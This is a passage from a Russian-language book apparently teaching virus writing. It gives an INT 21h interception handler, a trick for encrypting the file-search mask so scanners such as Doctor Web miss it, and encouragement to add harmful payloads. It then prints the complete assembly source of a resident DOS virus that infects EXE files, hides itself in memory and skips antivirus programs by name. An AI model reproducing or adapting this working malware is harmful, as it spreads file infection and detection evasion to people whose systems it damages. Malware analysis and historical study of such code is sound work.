  4814.     ситуация, отказывается от заражения памяти .
  4815.     В остальном работа фрагмента ясна .
  4816.  
  4817.  
  4818.            2.5 Пишем промежуточный обработчик
  4819.  
  4820.     Теперь следует написать " промежуточный " обработ-
  4821.     чик прерывания INT 21h,который должен вызывать си-
  4822.     стемный или вирусный обработчики данного  прерыва-
  4823.     ния в зависимости от режима работы процессора .Эту
  4824.     задачу можно решить, например, так :
  4825.  
  4826.     to_bios:   push ax                ;Текст  промежу-
  4827.                                       ;точного
  4828.                push ds                ;обработчика
  4829.                                       ;INT 21h ...
  4830.                pushf
  4831.                xor ax,ax
  4832.                mov ds,ax
  4833.     cmp word ptr ds:[0006h],0070h     ;Int 01h пере-
  4834.                                       ;хвачено ?
  4835.                jne cs:uuuuu           ;JMP на  систем-
  4836.                                       ;ный или вирус-
  4837.                                       ;ный обработчики
  4838.                                       ;INT 21h ...
  4839.                popf
  4840.                pop ds
  4841.                pop ax
  4842.                db 0eah                ;На вирусный ...
  4843.     our_21h_ip dw to_new_21h
  4844.     our_21h_cs dw 00h
  4845.     uuuuu:     popf
  4846.                pop ds
  4847.                pop ax
  4848.                db 0eah                ;На системный...
  4849.     sys_21h_ip dw 00h
  4850.     sys_21h_cs dw 00h
  4851.  
  4852.     code_len equ $ - to_bios          ;Длина обработ-
  4853.                                       ;чика
  4854.  
  4855.     Данный фрагмент написан  настолько просто, что ни-
  4856.     каких пояснений по поводу его работы не требуется.
  4857.  
  4858.  
  4859.          2.6 Защита от обнаружения вируса в файле
  4860.  
  4861.     Защитить вирус от обнаружения в файле намного про-
  4862.     ще, чем в памяти.Достаточно только зашифровать ма-
  4863.     ску для поиска  EXE - программ ( *.exe ), и  вирус
  4864.     обнаружен не будет.Естественно, перед поиском фай-
  4865.     ла - жертвы маска должна быть расшифрована,а в за-
  4866.     раженном файле присутствовать в зашифрованном  ви-
  4867.     де.
  4868.     Для решения этой задачи был предложен такой  алго-
  4869.     ритм: маска расшифровывается вирусной  копией, на-
  4870.     ходящейся в памяти, непосредственно перед  поиском
  4871.     EXE-файла,а при записи вирусного кода в файл снова
  4872.     шифруется. Вряд-ли DOCTOR WEB станет устанавливать
  4873.     резидентный вирус  в память, а потом еще и  прове-
  4874.     рять, как он работает. А при простом просмотре или
  4875.     даже прохождении  зараженной программы  отладчиком
  4876.     можно увидеть только закодированную маску.
  4877.  
  4878.  
  4879.               2.7 Несколько слов о вредных
  4880.               действиях вирусной программы
  4881.  
  4882.     Вирус, как правило, для того и пишется,чтобы кому-
  4883.     то навредить или пошутить над пользователями .Поэ-
  4884.     тому естественно было бы включить в него какие-ни-
  4885.     будь действия,мешающие нормальной работе  операто-
  4886.     ров компьютеров .Конечно,здесь существует огромная
  4887.     свобода : от  тривиальной блокировки клавиатуры до
  4888.     " осыпания " букв с экрана или форматирования вин-
  4889.     честера . Многие  вирусы вообще содержат серьезные
  4890.     ошибки,  из - за  которых зараженная система может
  4891.     перестать работать, поэтому что - нибудь более не-
  4892.     приятное придумать непросто .
  4893.     Поскольку книга носит учебный харатер, мы не будем
  4894.     развивать  " вредительскую " тему, а вместо  этого
  4895.     предоставим нашим читателям возможность  творчески
  4896.     подойти к задаче.Можете не огорчаться - встроить в
  4897.     вирусную  программу  вредное  действие  на порядок
  4898.     проще,чем создать эту программу.Учтите только, что
  4899.     изготовление вирусов - дело очень неблагодарное, и
  4900.     без  должной конспирации способно принести  самому
  4901.     " писателю " массу неприятностей.Сами вирусы (осо-
  4902.     бенно чужие) - довольно неприятная штука, хотя эта
  4903.     тема очень интересна.
  4904.  
  4905.  
  4906.         2.8 Полный текст резидентного EXE - вируса
  4907.  
  4908.     Как  я уже говорил, эта программа является  просто
  4909.     итогом  всех предыдущих и фактически составлена из
  4910.     их частей .Поэтому больше объяснять, вероятно, не-
  4911.     чего .Последний штрих - приведем полный текст раз-
  4912.     работанного нами резидентного EXE - вируса :
  4913.  
  4914.     ; _______________________________________________
  4915.     ;|                                               |
  4916.     ;| EXE TSR virus                                 |
  4917.     ;| Especially for my readers                     |
  4918.     ;|_______________________________________________|
  4919.  
  4920.     prg segment
  4921.         assume cs:prg,ds:prg,es:prg,ss:prg
  4922.                org 100h
  4923.  
  4924.     vir:       db 0ebh                ;9090h - Для
  4925.                                       ;резидентной
  4926.                db push_len            ;работы .
  4927.  
  4928.                pushf
  4929.                call cs:rest_code      ;Для надежности
  4930.                                       ;восстановим
  4931.                                       ;промежуточный
  4932.                                       ;обработчик
  4933.                                       ;INT 21h ...
  4934.                cmp bx,1997h           ;Это проверка
  4935.                jne cs:not_our         ;повторной за-
  4936.                mov ah,0ffh            ;грузки вируса в
  4937.                popf                   ;память ?
  4938.                iret                   ;
  4939.     not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-
  4940.                                       ;ся ?
  4941.                je cs:vir_2            ;Да ...
  4942.                popf
  4943.     jmp dword ptr cs:old_28h - 100h   ;Нет - вызовем
  4944.                                       ;старый INT 28h,
  4945.                                       ;чтобы не
  4946.                                       ;"топить" другие
  4947.                                       ;резиденты ...
  4948.  
  4949.     vir_2:     db 9ah
  4950.     old_28h    dw 0
  4951.     old_28h_2  dw 0
  4952.                pushf                  ;Сохраним в сте-
  4953.                                       ;ке регистры
  4954.                push ax
  4955.                push bx
  4956.                push cx
  4957.                push dx
  4958.                push si
  4959.                push di
  4960.                push bp
  4961.                push ds
  4962.                push es
  4963.                jmp cs:infect          ;Перейти к зара-
  4964.                                       ;жению файлов...
  4965.                push_len equ $-vir - 2
  4966.  
  4967.                mov ax,cs              ;Исправим DS для
  4968.                                       ;работы
  4969.                db 2dh                 ;в зараженном
  4970.                                       ;EXE - файле .
  4971.     sub_ds     dw 0
  4972.                mov ds,ax
  4973.                mov ax,ds
  4974.                mov es_save,es         ;Сохраним значе-
  4975.                                       ;ние ES ,бывшее
  4976.                                       ;при загрузке
  4977.                                       ;программы ...
  4978.                push es
  4979.  
  4980.                mov ax,old_ip          ;Восстановим ис-
  4981.                                       ;ходные пара-
  4982.                mov my_ip,ax           ;метры заголовка
  4983.                                       ;зараженного
  4984.                mov ax,old_cs          ;файла ...
  4985.                mov my_cs,ax
  4986.                mov ax,to_16h
  4987.                mov my_16h,ax
  4988.                mov ax,old_ss
  4989.                mov my_ss,ax
  4990.                mov ax,old_sp
  4991.                mov my_sp,ax
  4992.                                       ;Проверим ,есть
  4993.                                       ;вирус в па-
  4994.                mov bx,1997h           ;мяти ,или еще
  4995.                int 28h                ;нет ...
  4996.  
  4997.                cmp ah,0ffh
  4998.                jne inst               ;Нет - устанав-
  4999.                                       ;ливаем ...
  5000.  
  5001.     fresh_input:
  5002.                pop es
  5003.  
  5004.                mov ax,my_ip           ;Восстановим
  5005.                                       ;исходные CS
  5006.                mov old_ip,ax          ;и IP ,а также
  5007.                                       ;необходимые
  5008.                mov ax,my_cs           ;для правильной
  5009.                                       ;работы
  5010.                mov old_cs,ax          ;значения SS и
  5011.                                       ;SP ...
  5012.                mov ax,my_16h
  5013.                mov to_16h,ax
  5014.                mov ax,my_sp
  5015.                mov sp,ax
  5016.  
  5017.                mov ax,cs              ;Расчитаем точку
  5018.                                       ;входа
  5019.                sub ax,to_16h          ;EXE - программы
  5020.                add my_ss,ax
  5021.                mov ss,my_ss
  5022.                add ax,old_cs
  5023.                mov old_cs,ax
  5024.                push ax
  5025.                push old_ip            ;Восстановим DS
  5026.                mov ax,es
  5027.                mov ds,ax
  5028.                db 0cbh                ;Машинный код
  5029.                                       ;команды возвра-
  5030.                                       ;та из дальней
  5031.                                       ;процедуры ...
  5032.  
  5033.     old_ip     dw 0                   ;
  5034.     old_cs     dw 0                   ;
  5035.  
  5036.     inst:      push es                ;Найдем первый
  5037.                                       ;PSP в
  5038.                xor di,di              ;памяти ...
  5039.                xor ax,ax
  5040.  
  5041.     to_new_seg:inc ax
  5042.                mov es,ax
  5043.                cmp ax,0ffffh          ;Этот сегмент -
  5044.                                       ;последний ?
  5045.                jae free_mem
  5046.     cmp byte ptr es:[di],4dh          ;Это -
  5047.                                       ;MCB - блок ?
  5048.            jne to_new_seg         ;Нет !
  5049.     to_test:   mov bx,ax              ;Да !
  5050.                add bx,es:[di+3]
  5051.                inc bx
  5052.                mov es,bx
  5053.     cmp byte ptr es:[di],4dh          ;Следующий MCB
  5054.                                       ;корректен ?
  5055.                je  restore_es         ;Да !
  5056.                cmp byte ptr es:[di],5ah
  5057.                jne to_new_seg         ;Нет !
  5058.     restore_es:mov es,ax
  5059.     cmp word ptr es:[di+1],0          ;MCB свободен ?
  5060.                je to_new_seg          ;Да !
  5061.                mov bx,es
  5062.                inc bx
  5063.                cmp es:[di+1],bx
  5064.                jne to_new_seg
  5065.     cmp byte ptr es:[di+10h],0cdh     ;После MCB сле-
  5066.                                       ;дует PSP ?
  5067.                jne to_new_seg         ;Нет - тогда он
  5068.                                       ;нас не
  5069.                                       ;интересует ...
  5070.                mov first_psp,es       ;Да - найдена
  5071.                                       ;нужная нам
  5072.                mov cx,es              ;область памяти
  5073.                dec es_save
  5074.                cmp es_save,cx         ;А может ,мы на-
  5075.                                       ;шли свой
  5076.                                       ;же PSP ?
  5077.                jne add_05h            ;Нет !
  5078.                pop es
  5079.                jmp fresh_input        ;Да !
  5080.     add_05h:   add first_psp,05h
  5081.  
  5082.     free_mem:  pop es
  5083.  
  5084.                mov ah,4ah             ;Определим объем
  5085.                                       ;доступной
  5086.                                       ;памяти ...
  5087.                mov bx,0ffffh          ;Заведомо невоз-
  5088.                                       ;можное
  5089.                int 21h                ;значение
  5090.                                       ;(0ffffh) !
  5091.  
  5092.     ; _______________________________________________
  5093.     ;| Найдем свободный MCB - блок ,чтобы можно было |
  5094.     ;| записать в него резидентную часть вируса ...  |
  5095.     ;|_______________________________________________|
  5096.  
  5097.                sub bx,vir_par + 4     ;Оставим вирусу
  5098.                                       ;на 4 параграфа
  5099.                                       ;больше ,чем
  5100.                                       ;он сам занимает
  5101.                mov ah,4ah             ;А остальная
  5102.                                       ;память
  5103.                int 21h                ;будет занята ...
  5104.                jnc give_mem
  5105.  
  5106.     to_fresh_input:
  5107.                jmp fresh_input
  5108.  
  5109.     give_mem:  mov ah,48h             ;Попросим DOS
  5110.                                       ;отдать сво-
  5111.                                       ;бодный блок нам
  5112.                mov bx,vir_par + 2     ;Запас в два
  5113.                                       ;параграфа ...
  5114.                int 21h
  5115.                jc to_fresh_input
  5116.  
  5117.     ; _______________________________________________
  5118.     ;|Теперь свободный блок памяти найден            |
  5119.     ;|( сегментный адрес в AX ) ,и нужно             |
  5120.     ;|записать в него код вируса ...                 |
  5121.     ;|_______________________________________________|
  5122.  
  5123.                xor di,di              ;
  5124.                mov bx,ax              ;
  5125.                dec bx                 ;
  5126.                mov word ptr es:[2],bx ;Корректируем
  5127.                                       ;PSP ...
  5128.                mov es,bx              ;Делаем вирус
  5129.                mov bx,0070h           ;" невидимым "
  5130.                mov es:[di+1],bx       ;в памяти ...
  5131.  
  5132.                mov es,di              ;Получаем векто-
  5133.                                       ;ра прерываний
  5134.                cli
  5135.                mov di,084h            ;Int 21h ...
  5136.                mov bx,es:[di]
  5137.                mov old_21h,bx
  5138.                mov bx,es:[di+2]
  5139.                mov old_21h_2,bx
  5140.  
  5141.                mov di,0a0h            ;Int 28h ...
  5142.                mov bx,es:[di]
  5143.                mov old_28h,bx
  5144.                mov bx,es:[di+2]
  5145.                mov old_28h_2,bx
  5146.                sti
  5147.  
  5148.                mov word ptr vir,9090h ;Подготавливаем
  5149.                                       ;вирус
  5150.                mov tg_infect,0        ;к резидентной
  5151.                                       ;работе ...
  5152.  
  5153.                mov our_21h_cs,ax      ;Эти значения
  5154.                                       ;потребуются
  5155.                mov bx,old_21h         ;промежуточному
  5156.                                       ;обработ-
  5157.                mov sys_21h_ip,bx      ;чику INT 21h...
  5158.                mov bx,old_21h_2
  5159.                mov sys_21h_cs,bx
  5160.  
  5161.                push es                ;Теперь мы
  5162.                                       ;скопируем его
  5163.                cli                    ;в найденный ра-
  5164.                                       ;нее первый
  5165.                mov es,first_psp       ;в памяти PSP...
  5166.                xor di,di
  5167.                lea si,to_bios
  5168.                mov cx,code_len
  5169.     new_code:  mov bl,byte ptr [si]
  5170.                mov byte ptr es:[di],bl
  5171.                inc si
  5172.                inc di
  5173.                loop new_code
  5174.                sti
  5175.                pop es
  5176.  
  5177.                mov es,ax              ;Копируем  в
  5178.                                       ;память  сам
  5179.                xor di,di              ;вирусный код...
  5180.                mov cx,vir_len
  5181.     prg_copy:  mov bl,byte ptr vir[di]
  5182.                mov byte ptr es:[di],bl
  5183.                inc di
  5184.                loop prg_copy
  5185.  
  5186.                xor bx,bx              ;Устанавливаем
  5187.                                       ;вектора
  5188.                                       ;прерываний на
  5189.                                       ;вирусные
  5190.            mov es,bx              ;обработчики ...
  5191.                cli
  5192.                mov di,084h            ;Int 21h ...
  5193.                mov word ptr es:[di],00h
  5194.                mov bx,first_psp
  5195.     mov word ptr es:[di + 2],bx
  5196.  
  5197.            mov di,0a0h            ;Int 28h ...
  5198.                mov word ptr es:[di],0
  5199.                mov es:[di+2],ax
  5200.                sti
  5201.  
  5202.                jmp fresh_input        ;Установка виру-
  5203.                                       ;са в память за-
  5204.                                       ;вершена ...
  5205.  
  5206.     infect:    push cs                ;DS = CS ...
  5207.                pop ds
  5208.  
  5209.                mov ax,ds              ;TSR - коррекция
  5210.                sub ax,10h             ;DS ...
  5211.                mov ds,ax
  5212.  
  5213.                mov tg_infect,0
  5214.  
  5215.                mov ah,2fh             ;Получим текущую
  5216.                int 21h                ;DTA ...
  5217.  
  5218.                mov es_dta,es          ;И сохраним ее
  5219.                mov bx_dta,bx
  5220.  
  5221.                mov ah,1ah             ;А теперь
  5222.                                       ;установим
  5223.            lea dx,new_dta         ;собственную DTA
  5224.                int 21h
  5225.  
  5226.     find_first:mov maska[0],'*'       ;Расшифровка ма-
  5227.     cmp word ptr cs:[0],9090h         ;ски только в
  5228.                je cs:fifa             ;резидентном
  5229.                mov maska[0],'a'       ;режиме
  5230.  
  5231.     fifa:      mov ah,4eh             ;Найдем первый
  5232.            mov cx,00100110b       ;файл ...
  5233.            lea dx,maska
  5234.            int 21h
  5235.            jnc cs:r_3
  5236.            jmp cs:restore_dta
  5237.  
  5238.     find_next: mov ah,3eh             ;Закроем непод-
  5239.                mov bx,descrypt        ;ходящий файл
  5240.            int 21h
  5241.            jnc cs:r_2
  5242.            jmp cs:restore_dta
  5243.  
  5244.     r_2:       mov ah,4fh             ;Найдем следую-
  5245.            int 21h                ;щий ...
  5246.            jnc cs:r_3
  5247.            jmp cs:restore_dta
  5248.  
  5249.     r_3:       mov cx,12
  5250.            lea si,fn              ;Сотрем старое
  5251.     kill_name: mov byte ptr [si],0    ;имя в буфере
  5252.            inc si
  5253.            loop cs:kill_name
  5254.  
  5255.                xor si,si              ;И запишем новое
  5256.     copy_name: mov al,byte ptr new_dta[si + 01eh]
  5257.            cmp al,0
  5258.            je cs:check_name
  5259.            mov byte ptr fn[si],al
  5260.            inc si
  5261.            jmp cs:copy_name
  5262.  
  5263.     check_name:mov cx,4               ;Проверим имя на
  5264.                lea si,name_1          ;принадлежность
  5265.                call cs:search         ;его антивирус-
  5266.                cmp inside,1           ;ным программам
  5267.                je cs:r_2
  5268.  
  5269.                lea si,name_2          ;
  5270.                call cs:search
  5271.                cmp inside,1
  5272.                je cs:r_2
  5273.  
  5274.                lea si,name_3          ;
  5275.                call cs:search
  5276.                cmp inside,1
  5277.                je cs:r_2
  5278.  
  5279.                lea si,name_4          ;
  5280.                call cs:search
  5281.                cmp inside,1
  5282.                je cs:r_2
  5283.  
  5284.                lea si,name_5          ;
  5285.                call cs:search
  5286.                cmp inside,1
  5287.                je cs:r_2
  5288.                                       ;
  5289.                mov cx,3
  5290.                lea si,name_6
  5291.                call cs:search
  5292.                cmp inside,1
  5293.                je cs:to_r_2
  5294.  
  5295.     open_file: mov ax,3d02h           ;Откроем этот
  5296.            lea dx,fn              ;файл ...
  5297.            int 21h
  5298.            jnc cs:found_size
  5299.     to_r_2:    jmp cs:r_2
  5300.  
  5301.     found_size:mov descrypt,ax        ;Установим ука-
  5302.                                       ;затель в ко-
  5303.     mov cx,word ptr [new_dta + 01ch]  ;нец файла ...
  5304.                mov dx,word ptr [new_dta + 01ah]
  5305.                sub dx,1
  5306.                sbb cx,0
  5307.                call cs:setpointer
  5308.                jnc cs:read_last
  5309.                jmp cs:find_next
  5310.  
  5311.     read_last: mov cx,1               ;Считаем послед-
  5312.                lea dx,last            ;ний байт ...
  5313.                call cs:read
  5314.            jnc cs:compar
  5315.                jmp cs:close_file
  5316.  
  5317.     compar:    cmp last,'7'           ;Индикатор зара-
  5318.                                       ;женности
  5319.            jne cs:mmm
  5320.                jmp cs:find_next
  5321.  
  5322.     mmm:       xor cx,cx              ;Считаем заголо-
  5323.                xor dx,dx              ;вок EXE - файла
  5324.                call cs:setpointer
  5325.                jnc cs:read_head
  5326.     to_next:   jmp cs:find_next
  5327.  
  5328.     read_head: mov cx,27              ;
  5329.                lea dx,header          ;
  5330.                call cs:read           ;
  5331.                jnc cs:next_step       ;
  5332.                jmp cs:restore_dta     ;
  5333.                                       ;Запомним :
  5334.                                       ;Значение IP
  5335.                                       ;файла ...
  5336.     next_step: mov ax,word ptr header[14h]
  5337.                mov old_ip,ax
  5338.                                       ;Значение CS
  5339.                                       ;файла ...
  5340.                mov ax,word ptr header[16h]
  5341.                mov old_cs,ax
  5342.                                       ;Значение SS
  5343.                                       ;файла ...
  5344.                mov ax,word ptr header[0eh]
  5345.                mov old_ss,ax
  5346.                                       ;Значение SP
  5347.                                       ;файла ...
  5348.                mov ax,word ptr header[10h]
  5349.                mov old_sp,ax
  5350.                                       ;Вычислим ...
  5351.                mov ax,word ptr header[04h]
  5352.                mov cl,5
  5353.                shl ax,cl
  5354.                cmp ax,0f000h          ;Файл длиннее
  5355.                                       ;983040 байт ?
  5356.                jna cs:good_size       ;Нет !
  5357.                jmp cs:find_next       ;Да !
  5358.     good_size: mov di,ax
  5359.                sub ax,word ptr header[08h]
  5360.                mov to_16h,ax          ;Новое значение
  5361.                                       ;CS ...
  5362.  
  5363.                mov ax,di
  5364.                xor dx,dx
  5365.                call cs:mover
  5366.                mov f_seek_low,ax
  5367.                mov f_seek_high,dx
  5368.     cmp dx,word ptr [new_dta + 01ch]  ;Файл содержит
  5369.                                       ;оверлеи ?
  5370.                jl cs:to_next          ;Да !
  5371.                ja cs:not_ovl          ;Нет !
  5372.                cmp ax,word ptr [new_dta + 01ah]
  5373.                jae cs:not_ovl         ;Нет !
  5374.                jmp cs:find_next       ;Да !
  5375.     not_ovl:   add ax,vir_len
  5376.                adc dx,0
  5377.                mov bx,512
  5378.                div bx
  5379.                cmp dx,0
  5380.                je cs:round
  5381.                inc ax
  5382.     round:     mov to_04h,ax          ;Новую длину
  5383.                                       ;файла в страни-
  5384.                                       ;цах ...
  5385.                mov to_02h,dx
  5386.     mov word ptr header[02h],dx       ;И заполним эти-
  5387.                                       ;ми значе -
  5388.                mov ax,to_04h          ;ниями соответс-
  5389.                                       ;твующие
  5390.     mov word ptr header[04h],ax       ;поля заголовка
  5391.                mov word ptr header[14h],0
  5392.                mov ax,to_16h
  5393.                mov word ptr header[16h],ax
  5394.                mov word ptr header[0eh],ax
  5395.     mov word ptr header[10h],to_new_stack + 96
  5396.                mov sub_ds,10h
  5397.                mov maska[0],'a'
  5398.  
  5399.                xor dx,dx              ;Запишем
  5400.                xor cx,cx              ;скорректирован-
  5401.                call cs:setpointer     ;ный заголовок
  5402.                jc cs:close_file       ;на диск ...
  5403.  
  5404.                lea dx,header
  5405.                mov cx,27
  5406.                call cs:write
  5407.                jc cs:close_file
  5408.  
  5409.                mov dx,f_seek_low      ;Установим ука-
  5410.                mov cx,f_seek_high     ;затель в файле
  5411.                call cs:setpointer
  5412.                jc cs:close_file
  5413.  
  5414.                mov cx,2               ;Запишем начало
  5415.                lea dx,end_file        ;вируса ...
  5416.                call cs:write
  5417.                jc cs:close_file
  5418.  
  5419.                lea dx,vir + 2         ;И остальную
  5420.                mov cx,vir_len - 2     ;часть ...
  5421.                call cs:write
  5422.  
  5423.     close_file:xor ax,ax              ;Закроем зара-
  5424.                mov ah,3eh             ;женный файл ...
  5425.                mov bx,descrypt
  5426.                int 21h
  5427.  
  5428.     restore_dta:                      ;Восстановим DTA
  5429.                push ds
  5430.                mov ah,1ah
  5431.                mov dx,bx_dta
  5432.                mov ds,es_dta
  5433.                int 21h
  5434.                pop ds
  5435.  
  5436.     exit_zarasa:
  5437.                pop es                 ;И регистры ...
  5438.                pop ds
  5439.                pop bp
  5440.                pop di
  5441.                pop si
  5442.                pop dx
  5443.                pop cx
  5444.                pop bx
  5445.                pop ax
  5446.            popf
  5447.                iret                   ;Выходим ...
  5448.  
  5449.     ;-------------------------------------------------
  5450.  
  5451.     ; _______________________________________________
  5452.     ;|                                               |
  5453.     ;| Напишем новые обработчики INT 21h и INT 24h   |
  5454.     ;|_______________________________________________|
  5455.  
  5456.     ;-------------------------------------------------
  5457.  
  5458.                to_new_21h equ $-vir
  5459.  
  5460.     new_21h:   jmp cs:start_21h
  5461.  
  5462.     tg_infect  db   0
  5463.  
  5464.     start_21h: call cs:rest_code      ;На всякий слу-
  5465.                                       ;чай восстановим
  5466.                                       ;промежуточный
  5467.                                       ;обработчик
  5468.                                       ;INT 21h ...
  5469.                pushf
  5470.                push di
  5471.                push es
  5472.                xor di,di              ;Перехват
  5473.                mov es,di              ;Int  24h в
  5474.                mov di,90h             ;резидентном
  5475.     mov word ptr es:[di],to_new_24h   ;режиме
  5476.                mov es:[di+2],cs
  5477.                cmp ah,03bh            ;Смена каталога?
  5478.                jne cs:new_cmp_1
  5479.     mov cs:tg_infect - 100h,1         ;Да - взводим
  5480.                                       ;триггер ...
  5481.     new_cmp_1: cmp ah,00eh            ;Смена диска ?
  5482.                jne cs:to_jump
  5483.     mov cs:tg_infect - 100h,1         ;Да - взводим
  5484.                                       ;триггер
  5485.     to_jump:   pop es
  5486.                pop di
  5487.                popf
  5488.                db 0eah                ;Переход на ста-
  5489.                                       ;рый  обработчик
  5490.     old_21h    dw 0                   ;INT 21h ...
  5491.     old_21h_2  dw 0
  5492.  
  5493.     ;-------------------------------------------------
  5494.  
  5495.                to_new_24h equ $ - vir
  5496.  
  5497.     new_24h:   mov al,3               ;Вернем програм-
  5498.                                       ;ме управление и
  5499.                iret                   ;код ошибки ...
  5500.  
  5501.     ;-------------------------------------------------
  5502.  
  5503.     ;/***********************************************/
  5504.  
  5505.     ;Data area
  5506.     new_dta       db   128 dup (0)    ;Новая DTA ...
  5507.     maska         db   61h,'.exe',0   ;Маска для
  5508.                                       ;поиска ...
  5509.     fn            db   12 dup (' '),0 ;Место для имени
  5510.                                       ;файла
  5511.     end_file      db   0ebh           ;Первые два бай-
  5512.                                       ;та вируса
  5513.                   db   push_len       ;в файле ...
  5514.     header        db   27 dup ( 0 )   ;Массив для
  5515.                                       ;заголовка ...
  5516.     descrypt      dw   0              ;Дескриптор ...
  5517.     to_02h        dw   0              ;Ячейки для
  5518.     to_04h        dw   0              ;хранения вычис-
  5519.     to_16h        dw   0              ;ляемых элемен-
  5520.     my_ip         dw   0              ;тов заголовка
  5521.     my_cs         dw   0              ;
  5522.     my_16h        dw   0              ;
  5523.     my_ss         dw   0              ;
  5524.     my_sp         dw   0              ;
  5525.     old_ss        dw   0              ;
  5526.     old_sp        dw   0              ;
  5527.     f_seek_low    dw   0              ;Младшая и стар-
  5528.                                       ;шая части
  5529.     f_seek_high   dw   0              ;указателя ...
  5530.     es_dta        dw   0              ;Адрес старой
  5531.     bx_dta        dw   0              ;DTA ...
  5532.     first_psp     dw   0              ;Сегмент первого
  5533.                                       ;PSP ...
  5534.     es_save       dw   0
  5535.     to_new_stack  equ  $ - vir        ;Смещение к
  5536.                                       ;стеку ...
  5537.     new_stack     dw   50 dup ( 0 )   ;Новый стек ...
  5538.     name_1        db   'ADIN'         ;Файлы ,имена
  5539.     name_2        db   'DINF'         ;которых начина-
  5540.     name_3        db   'DRWE'         ;ются так,
  5541.     name_4        db   'AIDS'         ;заражать
  5542.     name_5        db   'ANTI'         ;нельзя !
  5543.     name_6        db   'WEB'
  5544.     inside        db   0
  5545.     vizitka       db   'Programmed in Zhitomir'
  5546.                   db   ' Politechnical Institute'
  5547.                   db   'FICT is the best!'
  5548.                   db   ' (AU - ... ,virmaker)'
  5549.     mes_len       equ  $ - vizitka
  5550.     last          db   0              ;Последний байт
  5551.  
  5552.     ;-------------------------------------------------
  5553.  
  5554.     setpointer proc                   ;Процедура уста-
  5555.            mov ax,4200h           ;новки указателя
  5556.            mov bx,descrypt        ;в файле ...
  5557.            int 21h
  5558.                ret
  5559.     setpointer endp
  5560.  
  5561.     read       proc                   ;Процедура чте-
  5562.                mov ah,3fh             ;ния из файла
  5563.            mov bx,descrypt
  5564.            int 21h
  5565.                ret
  5566.     read       endp
  5567.  
  5568.     write      proc                   ;Процедура запи-
  5569.                mov ah,40h             ;си в файл ...
  5570.                mov bx,descrypt
  5571.                int 21h
  5572.                ret
  5573.     write      endp
  5574.  
  5575.     mover      proc                   ;Процедура умно-
  5576.                mov cx,04h             ;жения на 16
  5577.     left:      shl dx,1               ;двойного слова
  5578.                shl ax,1               ;DX : CX
  5579.                adc dx,00h
  5580.                loop cs:left
  5581.                ret
  5582.     mover      endp
  5583.  
  5584.     rest_code  proc                   ;Процедура вос-
  5585.                                       ;станавливает
  5586.                push bx                ;в памяти текст
  5587.                push cx                ;промежуточного
  5588.                push si                ;обработчика
  5589.                                       ;INT 21h ...
  5590.                push di
  5591.                push es
  5592.                pushf
  5593.                cli
  5594.                mov es,cs:first_psp - 100h
  5595.                xor di,di
  5596.                mov si,offset cs:to_bios - 100h
  5597.                mov cx,code_len
  5598.     loader:    mov bl,byte ptr cs:[si]
  5599.                mov byte ptr es:[di],bl
  5600.                inc si
  5601.                inc di
  5602.                loop cs:loader
  5603.                sti
  5604.                popf
  5605.                pop es
  5606.                pop di
  5607.                pop si
  5608.                pop cx
  5609.                pop bx
  5610.                ret
  5611.     rest_code  endp
  5612.  
  5613.     search     proc                   ;Процедура
  5614.                push ax                ;сравнивает
  5615.                push cx                ;строки ...
  5616.                mov inside,1
  5617.                lea di,fn
  5618.     new_cmp:   mov al,byte ptr ds:[si]
  5619.                cmp byte ptr ds:[di],al
  5620.                jne cs:not_equal
  5621.                inc di
  5622.                inc si
  5623.                loop cs:new_cmp
  5624.                jmp cs:to_ret
  5625.     not_equal: mov inside,0
  5626.     to_ret:    pop cx
  5627.                pop ax
  5628.                ret
  5629.     search     endp
  5630.  
  5631.     ;-------------------------------------------------
  5632.  
  5633.     to_bios:   push ax                ;Текст промежу-
  5634.                push ds                ;точного обра-
  5635.                pushf                  ;ботчика Int 21h
  5636.                xor ax,ax
  5637.                mov ds,ax
  5638.     cmp word ptr ds:[0006h],0070h     ;Int 01h пере-
  5639.                                       ;хвачено ?
  5640.                jne cs:uuuuu
  5641.                                       ;JMP на систем-
  5642.                                       ;ный или вирус-
  5643.                                       ;ный обработчики
  5644.                                       ;INT 21h ...
  5645.                popf
  5646.                pop ds
  5647.                pop ax
  5648.                db 0eah                ;На вирусный...
  5649.     our_21h_ip dw to_new_21h
  5650.     our_21h_cs dw 00h
  5651.     uuuuu:     popf
  5652.                pop ds
  5653.                pop ax
  5654.                db 0eah                ;На системный...
  5655.     sys_21h_ip dw 00h
  5656.     sys_21h_cs dw 00h
  5657.  
  5658.     code_len equ $ - to_bios          ;Длина обработ-
  5659.                                       ;чика ...
  5660.  
  5661.     ;-------------------------------------------------
  5662.  
  5663.                   db   '7'            ;Последний байт
  5664.                                       ;вируса ...
  5665.  
  5666.     vir_len       equ $-vir           ;Длина вируса
  5667.                                       ;в байтах
  5668.     vir_par       equ ($-vir + 0fh)/16;И в параграфах
  5669.  
  5670.  
  5671.     prg ends
  5672.     end vir
  5673.  
  5674.  
  5675.     Как видите, в вирусе приняты определенные меры для
  5676.     того,  чтобы он не смог заразить антивирусные про-
  5677.     граммы .Дело в том,что все ( или почти все ) анти-
  5678.     вирусы при запуске проверяют себя на зараженность,
  5679.     и при обнаружении изменений своего кода выдают со-
  5680.     ответствующее сообщение . Поэтому вирус проверяет,
  5681.     содержатся - ли  в  имени найденного  файла  такие
  5682.     фрагменты :
  5683.  
  5684.                name_1        db 'ADIN';Файлы, имена
  5685.                name_2        db 'DINF';которых начи-
  5686.                name_3        db 'DRWE';наются так, за-
  5687.                name_4        db 'AIDS';ражать нельзя !
  5688.                name_5        db 'ANTI'
  5689.                name_6        db 'WEB'
  5690.  
  5691.     Для проверки используется разработанная ранее про-
  5692.     цедура SEARCH .  Если найденный файл действительно
  5693.     является антивирусной программой,  наш вирус отка-
  5694.     зывается от попытки заразить его .
  5695.  
  5696.     *
  5697.       Как вы заметили,в вирусе отсутствуют обработчики
  5698.       Int 13h и Int 2Fh. Так сделано потому, что пред-
  5699.       лагаемая программа отлично работает без  какой -
  5700.       бы то ни было " фильтрации " прерывания Int 13h.
  5701.       Проверка повторной  загрузки возложена на  обра-
  5702.       ботчик Int 28h, по этой  причине прерывание  Int
  5703.       2Fh перехватывать не нужно.
  5704.  
  5705.  
  5706.                ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ
  5707.  
  5708.  
  5709.             ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
  5710.                     ВИРУСНОЙ ПРОГРАММЫ
  5711.  
  5712.  
  5713.         1.1  Краткие сведения о начальной загрузке
  5714.                  персонального компьютера
  5715.  
  5716.     Для начала  следует сказать  несколько слов о том,
